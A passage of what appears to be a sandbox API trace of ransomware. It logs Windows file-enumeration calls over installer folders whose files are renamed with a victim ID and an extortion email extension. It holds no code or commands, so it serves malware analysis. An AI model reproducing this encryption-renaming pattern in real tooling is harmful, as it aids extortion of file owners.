dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.329] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa95320fd, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa95320fd, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa95320fd, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.329] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9558330, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9558330, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9558330, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.329] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa82de0e2, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa82de0e2, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa82de0e2, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.329] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa82de0e2, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa82de0e2, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa82de0e2, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.329] FindClose (in: hFindFile=0x6d01c8 | out: hFindFile=0x6d01c8) returned 1 [0223.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.330] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa81d2f08, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa81d2f08, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="2052", cAlternateFileName="")) returned 1 [0223.330] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.330] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa81d2f08, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa81d2f08, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6d0208 [0223.331] FindNextFileW (in: hFindFile=0x6d0208, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa81d2f08, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa81d2f08, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.331] FindNextFileW (in: hFindFile=0x6d0208, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa95a49e5, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa95a49e5, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa95a49e5, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.331] FindNextFileW (in: hFindFile=0x6d0208, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa95caa93, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa95caa93, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9db615d, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.331] FindNextFileW (in: hFindFile=0x6d0208, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa81d2f08, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa81d2f08, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa81d2f08, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.332] FindNextFileW (in: hFindFile=0x6d0208, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa81d2f08, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa81d2f08, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa81d2f08, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.332] FindClose (in: hFindFile=0x6d0208 | out: hFindFile=0x6d0208) returned 1 [0223.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.332] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa821f376, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa821f376, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="2070", cAlternateFileName="")) returned 1 [0223.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.333] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa821f376, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa821f376, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6cfe88 [0223.333] FindNextFileW (in: hFindFile=0x6cfe88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa821f376, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa821f376, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.333] FindNextFileW (in: hFindFile=0x6cfe88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa98ebc5f, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa98ebc5f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9911f64, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.334] FindNextFileW (in: hFindFile=0x6cfe88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9911f64, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9911f64, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9ebb76c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.334] FindNextFileW (in: hFindFile=0x6cfe88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa81f91cc, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa81f91cc, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa821f376, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.334] FindNextFileW (in: hFindFile=0x6cfe88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa81f91cc, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa81f91cc, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa821f376, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.334] FindClose (in: hFindFile=0x6cfe88 | out: hFindFile=0x6cfe88) returned 1 [0223.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.335] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa82456b3, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa82456b3, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="3076", cAlternateFileName="")) returned 1 [0223.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.335] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa82456b3, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa82456b3, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6cff88 [0223.418] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa82456b3, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa82456b3, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.418] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9938147, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9938147, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa995e792, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.419] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa995e792, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa995e792, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa99d09a2, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.419] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa81f91cc, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa81f91cc, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa826b86c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.419] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa81f91cc, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa81f91cc, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa826b86c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.419] FindClose (in: hFindFile=0x6cff88 | out: hFindFile=0x6cff88) returned 1 [0223.420] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.420] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa82456b3, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa82456b3, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="3082", cAlternateFileName="")) returned 1 [0223.420] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.420] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa82456b3, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa82456b3, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6d0488 [0223.423] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa82456b3, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa82456b3, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.423] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9a1cda9, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9a1cda9, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9a1cda9, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.423] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9a43154, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9a43154, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9a43154, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.424] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa81f91cc, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa81f91cc, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa826b86c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.424] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa81f91cc, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa81f91cc, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa826b86c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.424] FindClose (in: hFindFile=0x6d0488 | out: hFindFile=0x6d0488) returned 1 [0223.425] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.425] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="Client", cAlternateFileName="")) returned 1 [0223.425] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.425] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6d0408 [0223.428] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.428] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9a69926, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9a69926, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9a8f522, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="Parameterinfo.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="PARAME~1.LOV")) returned 1 [0223.429] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9c7f546, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9c7f546, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9ca5667, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="UiInfo.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="UIINFO~1.LOV")) returned 1 [0223.429] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9c7f546, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9c7f546, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9ca5667, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="UiInfo.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="UIINFO~1.LOV")) returned 0 [0223.429] FindClose (in: hFindFile=0x6d0408 | out: hFindFile=0x6d0408) returned 1 [0223.430] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.430] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9ca5667, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9ca5667, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9ca5667, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="DHtmlHeader.html.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="DHTMLH~1.LOV")) returned 1 [0223.430] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa82456b3, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa82456b3, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa87305ed, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="DisplayIcon.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="DISPLA~1.LOV")) returned 1 [0223.431] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="Extended", cAlternateFileName="")) returned 1 [0223.431] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.431] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, 